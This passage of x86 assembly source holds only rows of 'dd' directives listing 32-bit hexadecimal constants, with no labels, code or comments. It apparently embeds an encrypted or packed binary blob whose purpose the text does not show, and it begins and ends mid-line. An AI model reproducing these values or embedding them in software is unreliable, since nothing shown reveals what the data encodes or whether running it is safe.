4F1DF01Eh, 0C2C84A31h, 0E4C076B0h, 62B70105h, 0D4080B2Bh dd 425B039Eh, 0D43014C5h, 0EE310D59h, 0C5FC59E9h, 95FD5437h dd 0BEBC90C9h, 0E726A79h, 87C68102h, 7D9F7CC4h, 306BCA81h dd 7D006E74h, 5152F501h, 19390568h, 0EA591A0Dh, 8D256E40h dd 0B88991C2h, 0A9A0358Dh, 5649E35Ah, 0E9E604Fh, 2747383Ah dd 5A727EE9h, 0DCC140A3h, 561093CAh, 94923EB7h, 0F8A1138Bh dd 3CA95535h, 24AEB4CBh, 508182CBh, 6995AE83h, 0AB88200h dd 0E96F4815h, 2F3D9407h, 429FD39Eh, 0F01A55AEh, 794D841h dd 0F6DBF7C2h, 43460248h, 0D1802FF9h, 89CEA5A7h, 313C89E3h dd 13F30D6h, 29889CF2h, 0ECC29242h, 8E99696h, 0DD1DE909h dd 123C8251h, 0D14F0EA2h, 0E685E9D5h, 0C026FE0Dh, 2B092D97h dd 8F43133h, 0F427404Eh, 0E8005817h, 98A6B353h, 2E7735Ch dd 0D82899C3h, 1BE889E9h, 660705ADh, 1619062h, 6CCD68D1h dd 460BBE66h, 327E040Dh, 0CE000244h, 454EE2A0h, 0A70814CFh dd 0C1DE06EDh, 66AA2888h, 7090D6F6h, 85B0E755h, 7BC5144Ah dd 0AB372EBh, 0DCF3EDF2h, 0FBC8C612h, 0D6990804h, 0CEAC9925h dd 117E33B0h, 2B4ABE7Bh, 91DAB740h, 2C7878Ch, 5B152447h dd 0A1615645h, 1FD16F86h, 40A5937Fh, 0E1485005h, 8F8B3EA0h dd 66D4914Bh, 4FBA7793h, 8F829ED4h, 0F5810037h, 0A927CE05h dd 3D4ED8D3h, 9F5DA29h, 77514F12h, 7806D1FEh, 0B1855FAh dd 25E10A03h, 4FB714FAh, 185C1258h, 31134426h, 151BDC48h dd 8B5E931Ah, 0E54AAF29h, 7CFD0651h, 0BA7356CBh, 0E3351900h dd 0D0F10166h, 5E2F0828h, 0DA029129h, 19D62DB2h, 4F606861h dd 5431AE73h, 2A537014h, 0F63778Dh, 63447716h, 90D15B70h dd 37223D5h, 7D27C868h, 9B8EB2Ah, 38885C39h, 7DA44159h dd 0F65A1010h, 1C3484Dh, 717C52BCh, 0FB60E7D1h, 0F8A51274h dd 12BBECE2h, 1B2737E9h, 7A3D6DE0h, 962FB42Fh, 88A0B073h dd 316F419Dh, 7C8BD66Bh, 8E6CCC05h, 6B845E53h, 0C15F0701h dd 803105E6h, 2FE57DD4h, 74010907h, 0F92F75C6h, 4249E77h dd 69F4CE41h, 1E9E6D2Ah, 90858910h, 7CA063D8h, 5B81D821h dd 9608D824h, 4BF32F14h, 0B06EEE27h, 0E078FFE0h, 95D6AD96h dd 2F5A5804h, 874F82A1h, 0B4E882D5h, 0D3290327h, 6D24DFAh dd 54C409A1h, 5A42BBC4h, 12525FFAh, 0F3F6E457h, 0D710C072h dd 3C3E4891h, 0F427166Ah, 0DF557FD0h, 84E54D80h, 1D72117h dd 6399CF92h, 0D802EDDh, 7C4153E6h, 0B3C70028h, 0E922FAF4h dd 36BC2D64h, 0DC26CD62h, 90EC8166h, 4489D7A0h, 0C8B259B8h dd 64C70408h, 8514BD72h, 0E9A13118h, 0B87A30A8h, 736812A0h dd 70ABA329h, 0C1D303DEh, 0E9CD5002h, 6875482Bh, 1759548Eh dd 0F4064BB1h, 4EE408A8h, 12B1DB4Dh, 490FD831h, 3B8547EFh dd 731CC0E7h, 7805435Eh, 0BF2D8F26h, 854B7ECBh, 0B232F0E9h dd 0DBDC506Eh, 1ED90C00h, 844E67BAh, 0F2014E5Ah, 86A9D711h dd 683CEA01h, 39012BABh, 5FE9396Ah, 28F8181h, 0BA90F9DCh dd 99C93F80h, 29BC7097h, 0C1042A72h, 8802A439h, 144258E6h dd 0BF7651ABh, 2BC8F95Bh, 924CE366h, 21052DD6h, 935AF6A2h dd 1AA41C32h, 0E6AECE01h, 0E0CD97EEh, 0DCDA1689h, 0C0786229h dd 0A25C0D3h, 3C1653F3h, 51E5911Fh, 7E18B249h, 0C3FEC001h dd 88610A89h, 309F8665h, 5F4CE989h, 17CC0110h, 25685880h dd 0C15E55FCh, 87BBEA6Fh, 312576BEh, 4DB99496h, 0E35B8C5Ch dd 0CC681E4Ch, 0B7639C2Fh, 0BAFE0482h, 760989FAh, 541F1E7Ah dd 54B041E4h, 5CE0D682h, 0F4B83057h, 34F6E916h, 97010528h dd 0B3259744h, 0A126D9DDh, 23E94154h, 5726A4CEh, 5219803Fh dd 88A6B551h, 505901EAh, 33E9F7B0h, 0FB8B543Bh, 49A0DC13h dd 0AB019524h, 0A85B052Ch, 0DB492838h, 0EABD02C6h, 60484920h dd 17E3020h, 0BB352B85h, 70380106h, 130BA3F7h, 820955EDh dd 1D6F8A6h, 0C8CF8853h, 17C877Ch, 9A006C5Ah, 0EBC05A66h dd 1389B808h, 495C2CA8h, 0C723D1B3h, 8FBAC209h, 5162207Fh dd 4652A68h, 0D1596AC6h, 108DC0E1h, 0BB75929Fh, 7E26B15Dh dd 0F89EBBCh, 4F8890A3h, 3088808Fh, 0F233585Bh, 56ABFA5Ah dd 40108F5h, 0F64F0C0Bh, 4A99624Ah, 54E83102h, 3A6850ACh dd 3CE3774Fh, 4C030B10h, 95529ED9h, 9F5A7EF0h, 16F5B3E2h dd 27772043h, 0BBEE8100h, 988EC2Fh, 4AE3FAF2h, 81E18C38h dd 0E90C0143h, 0F08B39B9h, 0DAA2695Fh, 0D95C01C9h, 3380B013h dd 16F26856h, 0A592DEh, 7FB2C1A2h, 0ABA01C37h, 0A62E0BE5h dd 848416Ah, 14815028h, 7E5EF929h, 3324EE0Ah, 39BCFB12h dd 452ED0D0h, 0A3C1C7DFh, 1892680Ah, 0D1D054A9h, 9622CC09h dd 0E2887C10h, 5805E7A6h, 0EEB50BBFh, 17BF7154h, 2BB3DD06h dd 0C8D15725h, 0E467D64Bh, 38E9713Ch, 79D6132Ah, 0A40648D9h dd 0F0881340h, 4B929087h, 7AFFF6D1h, 1037620h, 25EB815Bh dd 2B01483Ah, 1F08ADB4h, 80468824h, 0F05692F3h, 0E0ECE96Bh dd 0B3809992h, 9A010F62h, 354BBB40h, 19302501h, 7F52176Dh dd 4A521A3Ah, 12040809h, 0AEFED470h, 7754079Bh, 68A440F7h dd 0E92A3D2Fh, 14AF8D52h, 0E9C2667Bh, 2809688Ah, 80582EC7h dd 0F91C38EAh, 0ECCB135Bh, 895A3FCEh, 703FE9C3h, 4ABE01DDh dd 681C832Ah, 9B5FDA72h, 0B36ED082h, 4BE91913h, 60C2C1EBh dd 68EBD78Dh, 4F344FAFh, 30A731A8h, 3BD8E9E2h, 4106EB3h dd 0FB6DEA92h, 0D1F4982Fh, 2A3E927h, 0F96B6850h, 4ABF9E33h dd 7DBFF67h, 722BA7EFh, 2DC05302h, 6F4A5F4Eh, 5115874Dh dd 0CADAB1AFh, 0BAB00F54h, 0D67F6F0Fh, 0C8FF5C79h, 0E029CBEBh dd 1867C7FBh, 9E13E162h, 88254782h, 0A8DE13Ah, 332F8878h dd 91A87A51h, 1FC96FF3h, 5335A283h, 44053411h, 38E70609h dd 5FC022FFh, 80E1095Dh, 0C8310E01h, 73229550h, 9CF7470Bh dd 3B9B4FBh, 14636C9Ch, 0D95D9334h, 0EE701C0h, 21584C4Eh dd 0EA6F3204h, 0CEC836Eh, 400DF8B8h, 0CAB288F8h, 77570AA0h dd 71217C26h, 462FCA09h, 0EB7D2D2Dh, 0E4ABB471h, 20690549h dd 844F81F2h, 0F17DF9C7h, 0B62FFE31h, 0DC2D5Bh, 9AF68024h dd 5F95B088h, 28CE079Ch, 0C0327FE8h, 8038B156h, 0BDA134FAh dd 22F3DB05h, 3007E1B1h, 0A49F4648h, 98F338FDh, 8ED7FC4Ah dd 0E05E13BEh, 75A3C289h, 40D21CB3h, 681989F0h, 5C2939D3h dd 4C1567Fh, 9D5A58h, 0ED80C5FEh, 5F47F444h, 22C8A4A6h dd 123C6812h, 0DFE0501h, 0C810597h, 4D193B60h, 7643EE01h dd 0E6E2E14Eh, 29E5518Fh, 0A17BE8BDh, 8A3B11F4h, 43B34EADh dd 0C009E913h, 0CB015AB5h, 902E7FA0h, 0A8CB7E82h, 81838A95h dd 0E3A6287Ah, 0B54A183Ch dd 7144204Eh, 7027191Dh, 3F01FDD2h, 297B5180h, 1D561330h dd 812B4B40h, 0E188A7F2h, 30D5F524h, 6DD8E053h, 9F6D68A1h dd 7B70D633h, 1057215Ch, 0DB41BE50h, 0F0B45342h, 4E8962C8h dd 8079C2B8h, 41EF6801h, 333662DFh, 97A90550h, 0CE4026EAh dd 0CB3E9B64h, 1C739897h, 1285C3E9h, 32FBA2h, 0B55A944Bh dd 0DE5B2961h, 0D44EFE6h, 46E917D6h, 1987E427h, 0CA2BD541h dd 79357EE2h, 66B9A88Bh, 0B024E7h, 0CEDE4968h, 5E0CB881h dd 90C31682h, 744A6F38h, 0C1112760h, 0B770064Fh, 2D59EB00h dd 722E4ADCh, 6B2AAD7Dh, 6C9D6186h, 0E3565A9Fh, 46B15F05h dd 8D5FB42Ch, 54E22F56h, 4E8A7810h, 48822587h, 98C9DCB1h dd 95681D6Ah, 9F83385Dh, 0E3111118h, 4AAFF057h, 139CCE0Ch dd 0A5A8F001h, 0F60205C4h, 53A24AECh, 50429C10h, 370BB03Fh dd 854A748Ch, 0B739B7E9h, 2DE90608h, 58D1FEBBh, 75C9980h dd 9E3810Ch, 116C6128h, 8D34B702h, 0AC853105h, 7FEE207h dd 75830B34h, 3326D091h, 50FA7E01h, 0B65F08EAh, 0E8876695h dd 0FA2BE92Fh, 0B6521C8Fh, 0D3F01EADh, 0DE3522BCh, 0F34837E2h dd 38B8DDF7h, 0C5BF4E12h, 8DF5BB0Ah, 0E98951C1h, 7CEEC2CAh dd 0E1B3939Dh, 5B5CFCB6h, 0B45414FEh, 6700A3C9h, 815A461Ah dd 42E8ECAh, 69E937E3h, 0A161EAD3h, 0E132F921h, 223FB641h dd 9F715B28h, 0D1D80142h, 0E99DB03Ah, 93B53337h, 1DE7C1C9h dd 2DD85479h, 184A9068h, 36D7D231h, 86C50105h, 20CCEB69h dd 5280291Ah, 0CDBB50B2h, 69459F43h, 13A9CB13h, 279A533Bh dd 2DFA711h, 0F35AD696h, 20E904A5h, 815BACE6h, 0D5715D6h dd 672AE640h, 4C0F72F7h, 180F65DAh, 0ED540B54h, 30135902h dd 844221B5h, 81B109DDh, 2B326239h, 262570D4h, 100C06A1h dd 519958D4h, 0CC132B4Eh, 0CC4F30F6h, 349001BFh, 179433B7h dd 89DF40EEh, 0A5C7BD82h, 40C4CAE0h, 9CA60697h, 6754A571h dd 39B80192h, 3480A10h, 0BAA96805h, 0F293D10Fh, 81208D35h dd 4870B0FBh, 0E0208E1Bh, 24CB5395h, 6358C9ABh, 6836A195h dd 5A2B7BD8h, 7DF8CBA5h, 0E1354B97h, 0CF2F1757h, 3B4D7F72h dd 0E8F72DC5h, 0D48843C6h, 0AEB53A48h, 0B720054Eh, 57E05CACh dd 3B016850h, 5862822Bh, 0E7C8CE05h, 0E38949F3h, 2F01CF04h dd 0ED94C1E8h, 0F3E707A0h, 0EAD0EE74h, 4A376866h, 12D4B751h dd 63AB87F7h, 133CEE71h, 0B30460ACh, 0BA22B551h, 83115D4Fh dd 5D4E777Eh, 0FC4AF4FBh, 0DA01E06Ah, 3E6E2DE9h, 0BC6398F1h dd 64680F9Ch, 0B20D0288h, 0A5F12F79h, 0A1D95140h, 897B25CCh dd 3D517EC0h, 5D234CBDh, 0BB146111h, 95162C01h, 0B8A330A4h dd 0E45B630Fh, 0D0BD8ECh, 52804F7Eh, 8978DEE6h, 0CE0F0A76h dd 0F214792Ch, 1F7659FCh, 4075154Ch, 1045ECF6h, 314DE99Eh dd 0FB680BC4h, 0AEF2304Eh, 76561626h, 0D79BC229h, 0B0035E2h dd 684FB951h, 612F773Fh, 0F8315A22h, 0D602B542h, 397D52C0h dd 0A049A647h, 0B800C83Ch, 3B8E4708h, 524DE948h, 35E44E92h dd 28FD40DDh, 0C02CF81Ch, 4EEDA693h, 0D007E985h, 7579BBF2h dd 817DD700h, 6B5D56F3h, 6F009D32h, 40DFBF57h, 2D423B58h dd 5FA8832Dh, 7DCDBA56h, 7B193031h, 2EAF9D85h, 5B925030h dd 274D7990h, 2DAD00D7h, 35EF3EFEh, 5C82B501h, 66072325h dd 2D31E897h, 0D6218BAh, 62E6F716h, 0E0650277h, 0A1535B12h dd 0AE64B72Dh, 0AB0D5347h, 0BFFE5978h, 0B77D174Fh, 0D8E916F6h dd 8E3B93B1h, 0F6966A26h, 0C733E984h, 2525A9EDh, 7C8A18E0h dd 883402FCh, 44130844h, 0AEA43FECh, 0E917DACAh, 60C1A13Ah dd 0B84F6DCCh, 0A9A14435h, 306C542h, 9DBAC309h, 33254476h dd 2EA3E165h, 5348A03Dh, 84D9235h, 818058AFh, 2911ABEBh dd 0F5E901Ch, 66B357C5h, 26D2E980h, 410B0D24h, 661B8368h dd 1E100A50h, 3996307Ah, 0C8316840h, 378F7B1Fh, 0FFF76601h dd 7C97E29Fh, 0B00B4765h, 721EFE85h, 64E7C564h, 85905BE2h dd 0D754D00Fh, 0A5EF8613h, 0C38EEA18h, 0B60EB145h, 96CE30D1h dd 0ABA9594Bh, 7A9EE87h, 59C657DEh, 0C7551C12h, 96774926h dd 25589D15h, 0B6C341E7h, 165303DFh, 0FC70ACF0h, 0BED18AE8h dd 2C394B1h, 0FEAE616Eh, 70B015D4h, 5CCC406Ch, 94A08AACh dd 819AE453h, 15B59609h, 9DF270D9h, 0C60EF06Ah, 54A8255Ah dd 55540EEAh, 71BD0927h, 6A4CECC6h, 63EF098h, 0E90A3231h dd 0B01B7B22h, 0D1DC28F7h, 0FB3C0846h, 0C46858E0h, 0B9E5B53h dd 0C8423CE9h, 0B7E2ED80h, 0C212F565h, 10A4EEFh, 0B729E9CEh dd 101308DAh, 10BA5C6Eh, 0EF09CD11h, 8E5C0537h, 0E05825A8h dd 0C2B28C57h, 78E3702Ch, 0C4DBE9D8h, 0B5A007F8h, 64CE53FDh dd 0FD5BAC28h, 0FBF2DE9h, 0E5933071h, 7F0990B0h, 6B9249EBh dd 94D5B05Fh, 0B6ED3144h, 7A688C28h, 0D64BE917h, 0CC5F1A0Eh dd 0BF807F0Bh, 0EC6D70E9h, 0E7DEA765h, 0DF856712h, 89068D81h dd 5F806800h, 0C3BEA5A6h, 41BDBA7h, 0AEAF0F66h, 84DD33C9h dd 0D791F104h, 1E06063Bh, 0C342CDCBh, 5F2FE901h, 5B75498Ah dd 300FB1F4h, 61905428h, 0EB68FB41h, 0A3302751h, 0F3321671h dd 8490075Fh, 2906D113h, 872C7EF0h, 2C63B65Bh, 841D138Bh dd 7E14EC2Ah, 939E34Dh, 9A378868h, 72365E26h, 2D17A9F1h dd 4E5A15B0h, 1223BC5Bh, 5FFC0845h, 0B89C83A5h, 2E0A2DD0h dd 6356E92Ch, 0B41B348Ah, 5B269310h, 0C5DB4BE4h, 6238432Ch dd 206A2C7h, 0EA5DF9F6h, 3DEA8289h, 0F8675738h, 0D3E42FB9h dd 848A09E2h, 0F0BA986Bh, 7327FF54h, 0C5D9A421h, 47C4805Eh dd 42748C31h, 0C309E7FEh, 8478ED61h, 8304F7E0h, 7AAFA5EFh dd 0B15806C8h, 2DC71D20h, 8306DB24h, 699912ABh, 0E4E5E56Ch dd 95A0EDD1h, 0F00232F5h, 2EC92D61h, 0AD76603Bh, 0D87B2768h dd 0C0BD2C58h, 0F2CC219h, 5DEF09C8h, 0D302F72Fh, 995F3C1Ch dd 76B1458h, 24FC8801h, 4D9A82E2h, 594CF578h, 0DAC58483h dd 5181AA10h, 514F7068h, 68F2B9BBh, 0A2E9A50Dh, 4A56A450h dd 214C866h, 0E339E1F4h, 0D00389C0h, 0A0B904E9h, 280CEDB8h dd 680658C3h, 66112525h, 0F60705E7h, 93BBE9D9h, 55B8BF2Fh dd 0B9A00D5Fh, 373218F3h, 0B9F55008h, 132435EAh, 9032F866h dd 4D9440E5h, 53DDF700h, 0EA2A27BBh, 4E80B545h, 1F1EE943h dd 0C4F9169Fh, 1D03D850h, 291A19AFh, 0A970D968h, 0EE2183EEh dd 952642E0h, 2BA13868h, 80730C27h, 0EE3C9A5h, 496C38EFh dd 0F9F104F8h, 0A1ECFFDEh, 0F5616E42h, 90072248h, 0CC8FE44h dd 0FA76627Fh, 0D724C005h, 994E63E9h, 0D936AB68h, 1DD8A799h dd 0E66CD00Ch, 7AC4B679h, 0FE10637Eh, 20C21703h, 65F6FA42h dd 1CBCEA58h, 0E765914Ah, 92F302C0h, 24E06C9Dh, 520496E8h dd 977B08C4h, 0DCF11DC0h, 2701305Eh, 21CDC829h, 0E0F80C34h dd 7464DD04h, 0ED219563h, 187D18FCh, 6CEC29Dh, 297EF954h dd 880ACF2h, 7EEC15Eh, 68E14095h, 518BBD59h, 0CA45E7D1h dd 712FB641h, 0E02E129Ah, 3361C6E7h, 0B7BCE911h, 5F6F496Fh dd 0E4CFE7FEh, 19B9CEAAh, 86279905h, 6BB80120h, 6BDF79D8h dd 0DA299304h, 76D73DAEh, 8BEA6B84h, 0C0165959h, 2EAA5BB2h dd 9B6BBD75h, 12D5D60Ah, 35ECF017h, 0E42C887Fh, 0BA157277h dd 36EB02BEh, 7C66BE94h, 815327ACh, 58FAE9C2h, 0CA578E19h dd 0A7C75FC7h, 0E9865F47h, 0FE7CAA6Bh, 535B0916h, 0BD80CEB3h dd 0D5F613B5h, 92C58026h dd 25854808h, 720255F8h, 0F7413223h, 78A0DFD1h, 602F50F1h dd 20F28458h, 0E2D04DAh, 0EB378506h, 8283F23Ch, 0EEC49A7Dh dd 8CE9240Ch, 0FD018B0Bh, 0C3DC6089h, 74A55F92h, 8BA5337Ch dd 515A0257h, 50E1E950h, 88664E0Ah, 805A18BFh, 34EA6924h dd 2182FA68h, 44C4C09h, 0ED8038B5h, 0A287FF6Ch, 965E0555h dd 39E92684h, 0BEE9A0h, 53B74028h, 5BE0E681h, 0C11A1C04h dd 5E8007EEh, 2D36203Dh, 29613116h, 5D137CFDh, 0D9688294h dd 6398D575h, 58B64FDh, 63767DAFh, 3B44FF4Ah, 500214Ch dd 555D4B72h, 0E9840793h, 5A0F2211h, 0B004F90Fh, 8A63BFB6h dd 4199158h, 6C7F8811h, 86887F0h, 0AEA6495Ah, 8A3E0A03h dd 49C1B572h, 3713270Ch, 3CD550ECh, 8A79752h, 70899537h dd 0E939126Dh, 9A13EE8Bh, 496B1B9h, 14BF9155h, 18950733h dd 816F411Bh, 23A3876Dh, 0B071E6Bh, 99F41570h, 2089B69Dh dd 8CB60F0h, 3FEF8905h, 8B506D94h, 0A4CC10BDh, 6F5D680Ah dd 0BAB8804Fh, 0C10E601Ch, 0D664C195h, 1E830AC2h, 0B15DCFEFh dd 5F294366h, 3B17F17Dh, 55C27671h, 0B396E854h, 0D9280B2Ah dd 475E5B66h, 0CA885261h, 9D5AD4C8h, 4EC80B8Ch, 6C91E862h dd 0B8440F1Ah, 1731A318h, 83319C21h, 0F848CFBh, 0C24707B8h dd 0E48BC221h, 18E12204h, 3D0615B4h, 29A76FDFh, 64641861h dd 1F4BCBB9h, 4041A2CCh, 0B279520Fh, 5E2801Ch, 511AEAC1h dd 1C7062B1h, 5EDDB007h, 7D2DA7FAh, 0A0159D2Fh, 181FB1A2h dd 15999D0Fh, 3794ECB9h, 0CB313D19h, 0D032934Ah, 63152806h dd 0D00E3C71h, 0C0688D56h, 3712C9F3h, 38C6BC76h, 2422D118h dd 0E21842BDh, 0A30E4334h, 0CFE52E08h, 0D61B1402h, 418F681h dd 1EB03B1Dh, 1D839841h, 46862F21h, 0C001EE83h, 5BB9B309h dd 596788Dh, 6F35D205h, 4143BC37h, 16A83207h, 88D9A5C1h dd 947B6E31h, 0F5C2A1EFh, 3D8204C7h, 25477CA3h, 0FF9A1CD0h dd 850BB8F8h, 0F6038B48h, 0E422D69h, 0ED2BE05Dh, 0A1CD02FBh dd 0E399E9BCh, 3CF60A49h, 99D0BAh, 4FDD4B3Fh, 1D2B01BAh dd 0F4E942FCh, 0AFF6E46Fh, 0EA64E25Eh, 41DE5FE0h, 0C561EEE5h dd 0EF5C2A3h, 295EB0F1h, 91CA6C6h, 0B5B9C708h, 0D3A7E21Eh dd 2D1512AAh, 0BA287AC5h, 0B3599D3h, 52947D53h, 44D6012Bh dd 0E02FA2A5h, 0C28AD6A6h, 34F8F868h, 40AFCA1h, 4F6F9301h dd 0B02B2399h, 50CEB13h, 71AAA8E9h, 0FF275C7h, 0FE89F3F7h dd 0C99372AEh, 86A53AA2h, 0D768806Eh, 77020AC1h, 4B3E992Dh dd 8096E216h, 11475F34h, 0E684A046h, 317D3B03h, 4E83E103h dd 3E053005h, 19B90B68h, 0D8C9C2h, 0B3CDC680h, 0F3300313h dd 0E23F5804h, 39EF0A8h, 0EEDEDF6Fh, 74EADCEAh, 0C05EB0D5h dd 606681F4h, 35E91E18h, 628420CEh, 80C6FE00h, 0E6C0D8CEh dd 79EEE607h, 0F8F60106h, 47E9F388h, 80E42A12h, 0C0C5260Ch dd 69B03878h, 5366080Ah, 0E9E0FDA0h, 50F67952h, 2813112Dh dd 5DD2605Fh, 85A9DE52h, 0EB125568h, 0DB041177h, 51F0C4A9h dd 0FEBCB5E9h, 1FED6804h, 41417DD8h, 7895207Ch, 34140B9Fh dd 98683EDBh, 0FAD24158h, 40EE1B28h, 8B7B592Dh, 6CCB5197h dd 8080A5B4h, 0FE4B39CAh, 40940AE4h, 0D78855C2h, 2F047F5Ah dd 260B2CE9h, 0FE2944F1h, 49F874A5h, 5E25A5DCh, 51420E92h dd 0F0E94E22h, 7F835A68h, 0F132070h, 0F8827384h, 0C28B55h dd 74E7104Fh, 0D7302CE9h, 3203498Ch, 0C9B07EB3h, 2F5B3CB5h dd 0E91A61B8h, 48C24AACh, 4425F0D1h, 9AE97FE6h, 455B97F5h dd 496D80EBh, 4B5B0965h, 4B51BD21h, 0E9C3FBB3h, 0A03FEEEDh dd 9B680931h, 45EF4633h, 5370402Ch, 2168364h, 6804F901h dd 5849C26Fh, 80594984h, 0B450A13Fh, 0F0F6452Fh, 0EC954B4Ah dd 54B3D0EAh, 0B1A24A8Eh, 31246077h, 0F55A5165h, 21136FB8h dd 93A809D0h, 1F9CDFEEh, 68509BAEh, 8B2E5A0Ch, 87BE6324h dd 0AF028346h, 24BADFF4h, 93DDBBE7h, 0F9F6983Ah, 74431D6Ch dd 280C17CBh, 5DE01276h, 5BDAC982h, 60D93A75h, 37E9AFBFh dd 61C17EF6h, 2026057Ch, 8C09F17Dh, 88F48C6h, 41ADEC6Dh dd 0CE7E52A7h, 66254A2Dh, 0B704A7A8h, 810BA35Fh, 57259BAFh dd 1601638Ch, 685A0C0Eh, 89FDF370h, 8C77FDA4h, 9CF68ADEh dd 0F87CC246h, 26EDC09h, 4FFC6856h, 9B95F346h, 33E9F96Ah dd 3514002Bh, 40802D85h, 516B6812h, 0BD952865h, 0FB388C05h dd 8CE9CD9Dh, 4599166Ah, 0CC879F8Ah, 0DA4A169Fh, 7AB07688h dd 916B5E77h, 0C7736858h, 39EB4724h, 1C5F0987h, 0CBD16585h dd 67E19B8h, 4D8F74Dh, 81475D9Eh, 0A46175A0h, 3A639DE6h dd 604C742Dh, 97CBFE68h, 0E1E33B40h, 0B777E49Fh, 28B3D740h dd 5B5AFE76h, 0E1DDB3A1h, 0E96D282Bh, 7DEE7549h, 5F5BCE2Ch dd 5C568427h, 290871ABh, 69F22AEAh, 514914C8h, 798C0962h dd 3888BA7Fh, 4B5BDDEFh, 4FD6F655h, 0BC4B698Fh, 0F42BB9FAh dd 66B64FB3h, 0B277FF0Fh, 0C3C511F2h, 0FE8EAA06h, 69A2A85Ah dd 0C59856BAh, 0A427A8FDh, 2942DBC0h, 600D5EF0h, 133173DFh dd 0CF811B0Fh, 5E784506h, 0F7C7C082h, 5292C19h, 78F55E81h dd 533D7326h, 14833D1Ah, 46938057h, 0A07AD362h, 62BA5A8h dd 11E92533h, 52EC8B0Dh, 6149D75Eh, 745A621Eh, 176850F8h dd 0C0C12248h, 5B58B850h, 250800EEh, 4D8E39FFh, 2785E35h dd 0E5054901h, 89CA7C56h, 0A942ED31h, 63EA55A4h, 70F7D119h dd 4255784Fh, 684FE52Eh, 57C269D7h, 13F5F832h, 0F01B8600h dd 58D6ACCAh, 0DDB1B955h, 4CA7228h, 23250D9Eh, 0AC0578F2h dd 87731207h, 0CD0C118Ch, 1E34029h, 0A1B8F148h, 4F0FCF07h dd 0E9C1782Bh, 0B62E21BCh, 1566CD02h, 8D80D101h, 0C8305A00h dd 90286695h, 7C2027DEh, 0A6BD4DD3h, 62ACC793h, 55151FC2h dd 0D14366A2h, 4A06BB00h, 0A00E5BEDh, 0BA055221h, 319C762Eh dd 3C114487h, 5E3B4CEEh, 0A2F3D292h, 802E6027h, 97565C0Ah dd 0E5D1D402h, 0C5F4207Fh, 4E3F5802h, 21EEC09Ah, 12C4DCFh dd 950329E9h, 0B964A60Dh, 0A0533B9h, 808C1A54h, 4022EE81h dd 6816B635h, 63605C48h, 605E10AFh, 15FE806Fh, 0E9121A81h dd 9DEC29A7h, 717C318Bh, 3D108F0Ch, 0EC189DD8h, 8701BE56h dd 0E97D966Fh, 0D8BADC91h, 0A776D99h, 35127E54h, 0B9A02CB9h dd 0AA034D27h, 0E9C14935h, 485D9205h, 7F001A7h, 3D2E962Dh dd 5049E56Dh, 885FE1B8h, 8B544621h, 4A4842EDh, 9D22209Eh dd 0E74C5DD0h, 35C03AFBh, 16810605h, 0B66A1CA5h, 88C94E6Fh dd 0AD009531h, 48776579h, 6C007D40h, 4D1DB40Eh, 297F7E9h dd 7F56FD0Ch, 128010E5h, 0E97F341Ch, 0F52F64C2h, 9A49BFEBh dd 0C3BD605Ah, 45B80E6h, 2DA8F94Eh, 0FF0B074h, 42C180BEh dd 0C8282683h, 0E85945E7h, 0B6D405BCh, 0AC8130FAh, 4A008E75h dd 0BE4CE281h, 29A05E64h, 0C1568AEh, 0BF861298h, 26683A28h dd 0C2291CECh, 1E773F0Ah, 9F13B663h, 2505E04Dh, 664933AEh dd 473C1CFAh, 0BBF88C43h, 3DA24C89h, 8A61D988h, 0F2A214E3h dd 35766117h, 0C30AA392h, 4A3490E9h, 4CA8E813h, 8F52276Ch dd 473EEC37h, 0F084A15Ch, 21C63101h, 4C56687Dh, 0D8502D37h dd 99101382h, 0B1940D06h, 933C610Dh, 74FEDFAEh, 0C81C94A1h dd 20425D44h, 19C82825h, 68125F54h, 0D5A80594h, 0C6552FC1h dd 724C301Eh, 0B6201441h, 0D9F35BABh, 3EF7A67Bh, 793A6801h dd 4D3F412Eh, 3E136DDEh dd 4BE249A4h, 0C1638C83h, 0DE10756Bh, 4E23C66Bh, 76B4524Eh dd 87F04AE9h, 32CEB014h, 0BF0725FDh, 1FA9D9DDh, 93420EF5h dd 8007E2C1h, 269FE4C0h, 0B013D61Ah, 94418218h, 0BA0A2080h dd 0D189FB0Fh, 0CE626290h, 0D29B129Eh, 582C0B2Fh, 0F7D06FD5h dd 8D1CF105h, 0FFBEEA8h, 4DBF768h, 2B5370EFh, 0F5EC4473h dd 7B0EB039h, 21E9292Eh, 0DBB2415Ah, 5C95322Eh, 21C9B8FFh dd 0CB6CBFC1h, 92D0662Dh, 12EE5CE9h, 11975293h, 0C841A1F5h dd 948FB32Ah, 0E955061Eh, 0A32B806Bh, 7041C225h, 0C32D0038h dd 0C1295F6Fh, 487905E8h, 6B209F09h, 75027572h, 237CCB31h dd 160D5B47h, 9F9D4BE4h, 0FE2680EFh, 68A6F21Ch, 0CC7425A7h dd 0BC4EFEBCh, 0B450808Dh, 7AE4C0E7h, 0BE699706h, 0C961B73Bh dd 5CBD1B83h, 0CCD8AA4Bh, 8BC0E1D7h, 0A16A75EFh, 3502B752h dd 0F0E41F77h, 0E44B2EEEh, 0EB0237CAh, 2B1A4DAEh, 0C3146FF4h dd 785E2708h, 90095E93h, 180AED11h, 6832252Fh, 9FBBDD6Ch dd 53031967h, 8AE921B7h, 1BDA0A1Ah, 0B410DEA6h, 584CD817h dd 9B3D4B02h, 0A9C9891Ch, 583039B5h, 0C5502726h, 0BF3C2C95h dd 1B48EE48h, 5A7C7D20h, 9862D067h, 0B4044C0Ch, 0F6180482h dd 80BBC3D2h, 2C03EB89h, 742769CAh, 53665858h, 2D1D6818h dd 0B1743675h, 2A7BEF3h, 2D79D274h, 6C9F23Ah, 59D68E8h dd 0AF232045h, 0F8C32930h, 0B3957CFh, 503E686Dh, 5D053C30h dd 0E975CB1Eh, 0FE40CE52h, 7CC743CFh, 1F229081h, 0FD25FA15h dd 0A27929F7h, 0A176C9ECh, 4DEB5245h, 1EF5423h, 19AECDEh dd 72E86B68h, 335E5C1Fh, 138F502Ch, 0B543EA39h, 9E1B1C30h dd 0FC580B0Ch, 89D65E7Ah, 4A16E781h, 0C8FF0EE5h, 0B0706EE0h dd 92043198h, 4930965Dh, 0C125A2h, 0F18003DAh, 0C928D273h dd 0C140E29Bh, 205718B8h, 8739FC09h, 72885380h, 5BDD07C3h dd 0E2E83058h, 35FC232Fh, 62305D79h, 0E74612E6h, 0EE5B838h dd 0BA03C952h, 0A8E7619Ah, 0C6048732h, 141F5CCBh, 1AEC3056h dd 240368BAh, 11A37AE0h, 0F8B15F22h, 16BCD56Bh, 58C8BD96h dd 7E5474ACh, 0B09B1D6h, 86314BADh, 4E764EAEh, 4C19A7B7h dd 36ED0F69h, 0EBC160EAh, 678EE908h, 81CF9B9Ch, 201D556Fh dd 4D13D2ECh, 